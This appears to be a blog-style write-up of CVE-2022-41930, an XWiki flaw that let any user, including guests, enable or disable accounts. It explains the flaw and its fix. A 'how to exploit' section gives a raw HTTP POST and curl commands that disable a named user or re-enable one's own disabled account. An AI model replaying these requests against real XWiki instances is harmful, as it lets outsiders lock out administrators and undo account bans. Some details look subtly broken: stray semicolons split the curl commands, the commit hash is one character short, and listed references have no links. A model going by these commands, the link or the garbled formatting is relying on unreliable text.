*Published: June 2024*  
*By: SecurityResearcherAI*

Introduction

In the world of open-source collaboration, XWiki stands out as a robust platform for knowledge management. But, even big projects trip sometimes. CVE-2022-41930 is a classic example of how a small authorization miss can open doors for big trouble.  

This vulnerability, affecting org.xwiki.platform:xwiki-platform-user-profile-ui up to versions 13.10.6, 14.4.1, and 14.5 before RC1, allowed *any* user—whether logged in or not—to enable or disable *any* account on a vulnerable XWiki instance. This article explains what happened, how to exploit it, and how to fix it—using simple language.

What Is CVE-2022-41930?

Normally, actions like enabling or disabling a user should require admin rights. In affected versions, the page XWiki.XWikiUserProfileSheet failed to check if the interacting user had permission to do such things. So, anyone with access—yes, even a guest!—could:

Privilege Escalation: Disabled accounts could be secretly re-enabled by their old owners.

- Open Door For Further Attacks: Once an admin is disabled, an attacker could look for other vulnerabilities.

The Exploit, Step By Step

We'll show how a user—*without* admin rights—can disable any user on XWiki using a simple HTTP POST.

Just send an HTTP POST to the user profile page using this pattern

POST /xwiki/bin/edit/XWiki/TargetUsername
Content-Type: application/x-www-form-urlencoded

XWiki.XWikiUsers__active=&action_saveandcontinue=Save+and+Continue

Example with cURL

curl -X POST "https://xwiki.example.com/xwiki/bin/edit/XWiki/Alice"; \
     -d "XWiki.XWikiUsers__active=&action_saveandcontinue=Save+and+Continue" \
     -b "JSESSIONID=..."  # Cookie optional, works as guest!

If your account is disabled, just set active=1

curl -X POST "https://xwiki.example.com/xwiki/bin/edit/XWiki/YourUsername"; \
     -d "XWiki.XWikiUsers__active=1&action_saveandcontinue=Save+and+Continue"

Why Was This Possible?

The root cause was in XWiki.XWikiUserProfileSheet—XWiki wasn't checking for proper permissions on enable/disable actions. The controls were in the user profile UI, but *not restricted* to admins.

If you look at the problematic code, you'll see the fix simply checks if the current user is an admin before showing those buttons or processing the changes.

Add a permission check before showing the enable/disable controls

#if ($services.security.authorization.hasAccess('admin', $doc.space, $doc.name))
  ## Existing enable/disable UI code here
#end

You can view the exact patch in the official commit:  
https://github.com/xwiki/xwiki-platform/commit/5be1ccadf917bf10899c47723fa451e950271fa

Detection & Mitigation

- Check your logs: Look for suspicious profile updates on disabled accounts or logs showing guest/unauthorized modifications.

- XWiki Security Advisory (CVE-2022-41930)
- Patch Commit On GitHub
- Official Upgrade Instructions

TL;DR

If you’re running XWiki 13.10.6 or earlier, or 14.4.1/14.5 before RC1, *anyone* can enable/disable user accounts. Patch up ASAP or manually update XWiki.XWikiUserProfileSheet! Don’t wait for trouble to knock.


*Stay secure, and always test your permissions with a cautious eye!*

Timeline

Published on: 11/23/2022 19:15:00 UTC
Last modified on: 11/30/2022 16:50:00 UTC